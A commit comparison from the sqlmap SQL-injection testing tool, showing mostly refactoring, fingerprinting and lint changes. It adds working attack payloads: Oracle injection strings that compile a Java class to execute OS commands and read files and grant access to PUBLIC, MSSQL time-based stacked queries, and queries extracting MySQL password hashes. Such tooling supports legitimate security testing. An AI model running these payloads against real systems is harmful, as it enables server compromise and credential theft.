Compare commits

..
59 Commits
Author SHA1 Message Date
Miroslav Stampar 3abd3e1a8d Patching silent per-thread issue with technique switching (fixes #3784) 2019-07-01 10:43:05 +02:00
Miroslav Stampar 32e09c8dfb Couple of updates for #2908 2019-06-28 13:56:48 +02:00
Miroslav Stampar aa9b5e4e0c Implements #2908 2019-06-27 17:28:43 +02:00
Miroslav Stampar c938d77be9 Fixes #3781 2019-06-27 01:48:35 +02:00
Miroslav Stampar 580dc2a4e2 Removing junk 2019-06-26 16:57:51 +02:00
Miroslav Stampar cb170f1f28 Implements #3780 2019-06-26 15:53:18 +02:00
Miroslav Stampar 5650e1a1a4 Fixes #3776 2019-06-26 11:31:13 +02:00
Miroslav Stampar 39cb938827 Fixes #3775 2019-06-26 11:06:50 +02:00
Miroslav Stampar de77ce131f Patches #3773 2019-06-26 11:02:43 +02:00
Miroslav Stampar e355a087a4 Fixes #3767 2019-06-21 10:15:36 +02:00
Miroslav Stampar e565fa1fad Dirty fix for #3766 2019-06-18 23:16:53 +02:00
Miroslav Stampar 9d055c723b Minor update 2019-06-18 00:59:20 +02:00
Miroslav Stampar 89af62ab95 Minor update 2019-06-18 00:45:28 +02:00
Miroslav Stampar 60f69a5ca0 Fixes #3764 2019-06-17 16:40:08 +02:00
Miroslav Stampar 797bc7b75f Fixes #3762 2019-06-17 14:59:48 +02:00
Miroslav Stampar 8220b6264c Fixes #3759 2019-06-16 17:23:46 +02:00
Miroslav Stampar 3b3f4926e4 Patch for #3756 and #3761 2019-06-16 16:21:18 +02:00
Miroslav Stampar 27e2409e17 Fixes #3755 2019-06-14 12:20:38 +02:00
Miroslav Stampar 8eaac41e01 Fixes #3752 2019-06-13 11:05:45 +02:00
Miroslav Stampar 0db8b8e268 Minor renaming 2019-06-13 10:59:56 +02:00
Miroslav Stampar 468eed8532 Fixes #3753 2019-06-13 10:58:21 +02:00
Miroslav Stampar 5650abbb4a Adding support for argparse 2019-06-11 01:45:23 +02:00
Miroslav Stampar a9d0ecbc66 Minor patch (argparse preparation) 2019-06-10 23:23:36 +02:00
Miroslav Stampar 446581496f Probably fixes #3744 2019-06-09 01:28:21 +02:00
Miroslav Stampar ce3abdaa4d Fixes #3745 2019-06-09 01:11:29 +02:00
Miroslav Stampar e30155b657 Minor patch (multi-target resume) 2019-06-07 10:37:13 +02:00
Miroslav Stampar fa1052e8fc Trivial patch regarding #3741 2019-06-07 01:39:11 +02:00
Miroslav Stampar bade832a41 Fixes #3741 2019-06-07 01:34:13 +02:00
Miroslav Stampar 90a735e3da Adding advice(s) in case of no provided parameters 2019-06-07 00:55:36 +02:00
Miroslav Stampar 28c5a709bd Minor renaming 2019-06-07 00:21:43 +02:00
Miroslav Stampar 02c8f47892 Adding support for WebSocket over SSL (wss://) 2019-06-06 23:45:30 +02:00
Miroslav Stampar 8a97e7edcc Trivial renaming 2019-06-06 23:13:34 +02:00
Miroslav Stampar 10152db8ee Minor patch for PIP --smoke 2019-06-06 13:40:32 +02:00
Miroslav Stampar 3d150233c5 Removing old file 2019-06-06 13:09:08 +02:00
Miroslav Stampar 87525d8bcb Adding deprecated options (along with obsolete) 2019-06-06 13:08:56 +02:00
Miroslav Stampar 1c2dec031c 'Calling Travis' 2019-06-06 12:46:38 +02:00
Miroslav Stampar 677dd20d6c Considerable improvement of --parse-errors (and patch) 2019-06-06 12:13:30 +02:00
Miroslav Stampar 0e409d4479 Fixes #3740 2019-06-06 11:44:27 +02:00
Miroslav Stampar ceb718107f Patch for live-testing 2019-06-05 14:23:30 +02:00
Miroslav Stampar 9df1a3d640 Minor patch for PostgreSQL UDF handling 2019-06-05 12:22:13 +02:00
Miroslav Stampar a2bc690170 Update of PostgreSQL UDFs 2019-06-05 12:16:05 +02:00
Miroslav Stampar 292c1dc91f Adding missing so libraries for PgSQL 2019-06-05 12:03:30 +02:00
Miroslav Stampar 77e1b99a2c Fixes #3739 2019-06-05 10:37:11 +02:00
Miroslav Stampar 98582d5ac6 Minor update 2019-06-04 15:46:56 +02:00
Miroslav Stampar d444bf198e Bug fix (double newline - e.g. in adjusting delay) 2019-06-04 15:24:40 +02:00
Miroslav Stampar 193889e97f Bug fix for --disable-coloring 2019-06-04 14:59:01 +02:00
Miroslav Stampar 70710df2ac Trivial update 2019-06-04 14:48:51 +02:00
Miroslav Stampar 495e7c8210 Trivial update 2019-06-04 14:44:06 +02:00
Miroslav Stampar b6fbca05d5 Couple of trivial patches 2019-06-04 13:04:31 +02:00
Miroslav Stampar 3ac1283900 Further pleasing pylint deity 2019-06-04 12:15:39 +02:00
Miroslav Stampar c154e64a19 Fixes #3737 2019-06-04 10:55:07 +02:00
Miroslav Stampar 2b79f45cbc Trivial update (unused globals) 2019-06-03 15:11:36 +02:00
Miroslav Stampar c00a642569 Implementing support for --file-read on Oracle (Issue #26) 2019-06-03 14:21:26 +02:00
Miroslav Stampar b3cdec547b Some renaming (pylint stuff) 2019-06-03 10:41:51 +02:00
Miroslav Stampar e236ba5616 Removing single-thread limit for time-based SQLi 2019-06-01 16:33:27 +02:00
Miroslav Stampar a6b6b91989 Further pleasing pylint gods 2019-06-01 13:42:57 +02:00
Miroslav Stampar f9fe1dde73 Minor patch (WAFs with 404) 2019-06-01 12:55:53 +02:00
Miroslav Stampar b83bdee764 Trivial update for #481 2019-06-01 12:38:37 +02:00
Miroslav Stampar 357989774a Minor update (resumed...) 2019-06-01 12:22:59 +02:00
99 changed files with 3171 additions and 1596 deletions
+2 -2
View File
@@ -7,7 +7,7 @@
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
init-hook=
init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
# Add files or directories to the blacklist. They should be base names, not
# paths.
@@ -306,7 +306,7 @@ ignore-mixin-members=yes
# (useful for modules/projects where namespaces are manipulated during runtime
# and thus existing member attributes cannot be deduced by static analysis. It
# supports qualified module names, as well as Unix pattern matching.
ignored-modules=
ignored-modules=thirdparty.six.moves
# List of classes names for which member attributes should not be checked
# (useful for classes with attributes dynamically set). This supports can work
@@ -0,0 +1,4 @@
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
File diff suppressed because it is too large Load Diff
+8
View File
@@ -7,6 +7,14 @@
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="Enhydra Application Server/([\d\.]+)">
<info technology="Enhydra" tech_version="1"/>
</regexp>
<regexp value="Jetty/([\d\.]+)">
<info technology="Jetty" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
+13 -1
View File
@@ -27,7 +27,7 @@
<info technology="WebSphere"/>
</regexp>
<regexp value="PHPSESSION">
<regexp value="PHPSESS">
<info technology="PHP"/>
</regexp>
@@ -50,4 +50,16 @@
<regexp value="CFID|CFTOKEN|CFMAGIC|CFGLOBALS">
<info technology="ColdFusion"/>
</regexp>
<regexp value="WebLogicSession">
<info technology="WebLogic"/>
</regexp>
<regexp value="MoodleSession">
<info technology="Moodle"/>
</regexp>
<regexp value="\bwp_">
<info technology="WordPress"/>
</regexp>
</root>
+6 -2
View File
@@ -35,8 +35,12 @@
<info technology="ASP.NET" type="Windows"/>
</regexp>
<regexp value="(JBoss|Tomcat)[\-\_\/\ ]?([\d\.]+)">
<info technology="Tomcat" tech_version="2"/>
<regexp value="Tomcat[\-\_\/\ ]?([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="JBoss[\-\_\/\ ]?([\d\.]+)">
<info technology="JBoss" tech_version="1"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
+341 -341
View File
File diff suppressed because it is too large Load Diff
+43
View File
@@ -268,6 +268,28 @@
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
<request>
<payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries</title>
<stype>4</stype>
@@ -289,6 +311,27 @@
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
<request>
<payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
<stype>4</stype>
+5 -3
View File
@@ -32,9 +32,11 @@
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
</users>
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
<!-- https://stackoverflow.com/a/31122246 -->
<passwords>
<inband query="SELECT user,password FROM mysql.user" condition="user"/>
<blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
<inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
<blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
</passwords>
<privileges>
<inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
@@ -421,7 +423,7 @@
<length query="CHAR_LENGTH(TRIM(%s))"/>
<delimiter query="||"/>
<limit query="ROWS %d TO %d"/>
<limitregexp query="\s+ROWS\s+([\d]+)(\s+\TO\s+([\d]+))?"/>
<limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
<limitgroupstart query="1"/>
<limitgroupstop query="2"/>
<limitstring query=" ROWS "/>
-52
View File
@@ -1,52 +0,0 @@
#! /usr/bin/env python
# Runs pylint on all python scripts found in a directory tree
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
from __future__ import print_function
import os
import re
import sys
total = 0.0
count = 0
__RATING__ = False
def check(module):
global total, count
if module[-3:] == ".py":
print("CHECKING ", module)
pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
for line in pout:
if re.match(r"\AE:", line):
print(line.strip())
if __RATING__ and "Your code has been rated at" in line:
print(line)
score = re.findall(r"\d.\d\d", line)[0]
total += float(score)
count += 1
if __name__ == "__main__":
try:
print(sys.argv)
BASE_DIRECTORY = sys.argv[1]
except IndexError:
print("no directory specified, defaulting to current working directory")
BASE_DIRECTORY = os.getcwd()
print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY)
for root, dirs, files in os.walk(BASE_DIRECTORY):
if any(_ in root for _ in ("extra", "thirdparty")):
continue
for name in files:
filepath = os.path.join(root, name)
check(filepath)
if __RATING__:
print("==" * 50)
print("%d modules found" % count)
print("AVERAGE SCORE = %.02f" % (total / count))
+3
View File
@@ -4,6 +4,9 @@
# http://www.muppetlabs.com/~breadbox/software/elfkickers.html
# https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html
# https://github.com/BR903/ELFkickers/tree/master/sstrip
# https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10
# For example:
# python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_
# ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so
+9
View File
@@ -17,6 +17,7 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
from lib.utils.brute import columnExists
from lib.utils.brute import fileExists
from lib.utils.brute import tableExists
def action():
@@ -199,6 +200,14 @@ def action():
if conf.fileWrite:
conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
if conf.commonFiles:
try:
conf.dumper.rFile(fileExists(paths.COMMON_FILES))
except SqlmapNoneDataException as ex:
logger.critical(ex)
except:
raise
# Operating system options
if conf.osCmd:
conf.dbmsHandler.osCmd()
+12 -11
View File
@@ -78,10 +78,12 @@ from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
from lib.core.settings import FI_ERROR_REGEX
from lib.core.settings import FORMAT_EXCEPTION_STRINGS
from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IDS_WAF_CHECK_RATIO
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
from lib.core.settings import IPS_WAF_CHECK_RATIO
from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import MAX_STABILITY_DELAY
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
from lib.core.settings import SINGLE_QUOTE_MARKER
@@ -89,9 +91,8 @@ from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import URI_HTTP_HEADER
from lib.core.threads import getCurrentThreadData
from lib.request.connect import Connect as Request
from lib.request.comparison import comparison
@@ -219,10 +220,10 @@ def checkSqlInjection(place, parameter, value):
# Skip test if the user's wants to test only for a specific
# technique
if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.tech)
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg)
continue
@@ -343,7 +344,7 @@ def checkSqlInjection(place, parameter, value):
msg += "only basic UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to reduce "
msg +="the number of requests? [Y/n] "
msg += "the number of requests? [Y/n] "
kb.futileUnion = readInput(msg, default='Y', boolean=True)
if kb.futileUnion and int(_) > 10:
@@ -1222,8 +1223,8 @@ def checkStability():
firstPage = kb.originalPage # set inside checkConnection()
delay = 1 - (time.time() - (kb.originalPageTime or 0))
delay = max(0, min(1, delay))
delay = MAX_STABILITY_DELAY - (time.time() - (kb.originalPageTime or 0))
delay = max(0, min(MAX_STABILITY_DELAY, delay))
time.sleep(delay)
secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
@@ -1381,10 +1382,10 @@ def checkWaf():
kb.redirectChoice = REDIRECTION.YES
kb.resendPostOnRedirect = False
conf.timeout = IDS_WAF_CHECK_TIMEOUT
conf.timeout = IPS_WAF_CHECK_TIMEOUT
try:
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] or 0) < IDS_WAF_CHECK_RATIO
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
except SqlmapConnectionException:
retVal = True
finally:
+22 -12
View File
@@ -5,19 +5,21 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import os
import re
import time
from lib.controller.action import action
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkStability
from lib.controller.checks import checkString
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkInternet
from lib.controller.checks import checkNullConnection
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkStability
from lib.controller.checks import checkString
from lib.controller.checks import checkWaf
from lib.controller.checks import heuristicCheckSqlInjection
from lib.core.agent import agent
@@ -38,8 +40,8 @@ from lib.core.common import readInput
from lib.core.common import removePostHintPrefix
from lib.core.common import safeCSValue
from lib.core.common import showHttpErrorCodes
from lib.core.common import urlencode
from lib.core.common import urldecode
from lib.core.common import urlencode
from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import kb
@@ -59,16 +61,16 @@ from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapUserQuitException
from lib.core.exception import SqlmapValueException
from lib.core.settings import ASP_NET_CONTROL_REGEX
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import LOW_TEXT_PERCENT
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
from lib.core.settings import HOST_ALIASES
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import LOW_TEXT_PERCENT
from lib.core.settings import REFERER_ALIASES
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.target import initTargetEnv
@@ -427,7 +429,7 @@ def start():
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
@@ -531,7 +533,7 @@ def start():
infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
check = checkDynParam(place, parameter, value)
if not check:
@@ -602,6 +604,14 @@ def start():
if kb.vainRun and not conf.multipleTargets:
errMsg = "no parameter(s) found for testing in the provided data "
errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
if kb.originalPage:
advice = []
if not conf.forms and re.search(r"<form", kb.originalPage) is not None:
advice.append("--forms")
if not conf.crawlDepth and re.search(r"href=[\"']/?\w", kb.originalPage) is not None:
advice.append("--crawl=2")
if advice:
errMsg += ". You are advised to rerun with '%s'" % ' '.join(advice)
raise SqlmapNoneDataException(errMsg)
else:
errMsg = "all tested parameters do not appear to be injectable."
@@ -610,7 +620,7 @@ def start():
errMsg += " Try to increase values for '--level'/'--risk' options "
errMsg += "if you wish to perform more tests."
if isinstance(conf.tech, list) and len(conf.tech) < 5:
if isinstance(conf.technique, list) and len(conf.technique) < 5:
errMsg += " Rerun without providing the option '--technique'."
if not conf.textOnly and kb.originalPage:
+11 -10
View File
@@ -12,6 +12,7 @@ from lib.core.common import Backend
from lib.core.common import extractRegexResult
from lib.core.common import filterNone
from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique
from lib.core.common import isDBMSVersionAtLeast
from lib.core.common import isNumber
from lib.core.common import isTechniqueAvailable
@@ -89,8 +90,8 @@ class Agent(object):
if kb.forceWhere:
where = kb.forceWhere
elif where is None and isTechniqueAvailable(kb.technique):
where = kb.injection.data[kb.technique].where
elif where is None and isTechniqueAvailable(getTechnique()):
where = kb.injection.data[getTechnique()].where
if kb.injection.place is not None:
place = kb.injection.place
@@ -234,8 +235,8 @@ class Agent(object):
expression = unescaper.escape(expression)
query = None
if where is None and kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where
if where is None and getTechnique() is not None and getTechnique() in kb.injection.data:
where = kb.injection.data[getTechnique()].where
# If we are replacing (<where>) the parameter original value with
# our payload do not prepend with the prefix
@@ -244,7 +245,7 @@ class Agent(object):
# If the technique is stacked queries (<stype>) do not put a space
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
elif kb.technique == PAYLOAD.TECHNIQUE.STACKED:
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
query = kb.injection.prefix
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
query = kb.injection.prefix
@@ -265,7 +266,7 @@ class Agent(object):
return query
def suffixQuery(self, expression, comment=None, suffix=None, where=None):
def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
"""
This method appends the DBMS comment to the
SQL injection request
@@ -282,9 +283,9 @@ class Agent(object):
# Take default values if None
suffix = kb.injection.suffix if kb.injection and suffix is None else suffix
if kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where if where is None else where
comment = kb.injection.data[kb.technique].comment if comment is None else comment
if getTechnique() is not None and getTechnique() in kb.injection.data:
where = kb.injection.data[getTechnique()].where if where is None else where
comment = kb.injection.data[getTechnique()].comment if comment is None else comment
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
comment = queries[DBMS.ACCESS].comment.query
@@ -303,7 +304,7 @@ class Agent(object):
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
return re.sub(r";\W*;", ";", expression)
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
def cleanupPayload(self, payload, origValue=None):
if payload is None:
+117 -52
View File
@@ -5,12 +5,13 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import binascii
import codecs
import collections
import contextlib
import copy
import distutils
import functools
import getpass
import hashlib
@@ -68,11 +69,12 @@ from lib.core.decorators import cachedmethod
from lib.core.defaults import defaults
from lib.core.dicts import DBMS_DICT
from lib.core.dicts import DEFAULT_DOC_ROOTS
from lib.core.dicts import DEPRECATED_OPTIONS
from lib.core.dicts import OBSOLETE_OPTIONS
from lib.core.dicts import SQL_STATEMENTS
from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import CONTENT_STATUS
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import CONTENT_STATUS
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import HEURISTIC_TEST
@@ -90,9 +92,9 @@ from lib.core.enums import SORT_ORDER
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapInstallationException
from lib.core.exception import SqlmapMissingDependence
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException
@@ -108,9 +110,9 @@ from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
from lib.core.settings import BURP_REQUEST_REGEX
from lib.core.settings import BURP_XML_HISTORY_REGEX
from lib.core.settings import DBMS_DIRECTORY_DICT
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DBMS_DIRECTORY_DICT
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
@@ -138,6 +140,7 @@ from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
from lib.core.settings import LOCALHOST
from lib.core.settings import MIN_ENCODED_LEN_CHECK
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
from lib.core.settings import MIN_TIME_RESPONSES
from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
@@ -172,6 +175,7 @@ from lib.core.settings import URI_QUESTION_MARKER
from lib.core.settings import URLENCODE_CHAR_LIMIT
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import VERSION_COMPARISON_CORRECTION
from lib.core.settings import VERSION_STRING
from lib.core.settings import ZIP_HEADER
from lib.core.settings import WEBSCARAB_SPLITTER
@@ -513,7 +517,7 @@ class Backend(object):
@staticmethod
def getVersion():
versions = filterNone(flattenValue(kb.dbmsVersion))
versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
if not isNoneValue(versions):
return versions[0]
else:
@@ -521,7 +525,7 @@ class Backend(object):
@staticmethod
def getVersionList():
versions = filterNone(flattenValue(kb.dbmsVersion))
versions = filterNone(flattenValue(kb.dbmsVersion)) if not isinstance(kb.dbmsVersion, six.string_types) else [kb.dbmsVersion]
if not isNoneValue(versions):
return versions
else:
@@ -929,7 +933,7 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
retVal = message
level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
if message and IS_TTY or istty: # colorizing handler
if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
if bold or color:
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
elif level:
@@ -1121,6 +1125,20 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
return retVal or ""
def setTechnique(technique):
"""
Thread-safe setting of currently used technique (Note: dealing with cases of per-thread technique switching)
"""
getCurrentThreadData().technique = technique
def getTechnique():
"""
Thread-safe getting of currently used technique
"""
return getCurrentThreadData().technique or kb.technique
def randomRange(start=0, stop=1000, seed=None):
"""
Returns random integer value in given range
